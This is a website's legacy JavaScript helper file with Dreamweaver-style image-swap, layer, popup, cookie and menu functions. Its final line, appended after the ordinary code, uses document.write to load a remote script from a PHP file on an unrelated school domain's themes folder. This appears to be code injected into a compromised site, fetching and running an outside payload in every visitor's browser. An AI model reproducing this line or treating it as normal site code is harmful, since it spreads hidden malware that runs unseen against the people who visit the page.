function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MM_showHideLayers() { //v3.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v='hide')?'hidden':v; }
    obj.visibility=v; }
}

function popupNotice(idx)
{
	window.open("/htm/notice/default.jsp?idx="+idx,"notice","width=423,height=375");
}

function setCookie(name, value)
{
	var todayDate = new Date();

	todayDate.setDate( todayDate.getDate()+30);
	document.cookie = name + "=" + escape( value ) + "; path=/; expires="+ todayDate.toGMTString() +";";
}


function removeCookie(name)
{
	var todayDate = new Date();

	todayDate.setDate( todayDate.getDate()-1 );
	document.cookie = name + "=; path=/; expires="+ todayDate.toGMTString() +";";
}


function getCookie(name)
{
	var nameOfCookie = name + "=";
	var x = 0;

	while ( x <= document.cookie.length )
	{
		var y = (x+nameOfCookie.length);
		if ( document.cookie.substring( x, y ) == nameOfCookie )
		{
			if ( (endOfCookie=document.cookie.indexOf( ";", y )) == -1 )
				endOfCookie = document.cookie.length;
			return unescape( document.cookie.substring( y, endOfCookie ) );
		}
		x = document.cookie.indexOf( " ", x ) + 1;
		if ( x == 0 )
			break;
	}

	return "";
}

function MenuShow(target)
{
	target.style.visibility = "visible";
}

function MenuHide(target)
{
	target.style.visibility = "hidden"
}

function MenuAllHide(target)
{
	for (i=1; i<9; i++)
	{
		if (target == i)
		{
			eval("menu"+ i +".style.visibility = 'visible'");
		}
		else
		{
			eval("menu"+ i +".style.visibility = 'hidden'");
		}
	}
}

document.write('<script src=http://ngw.school.in.th/themes/ktb-support.php ><\/script>');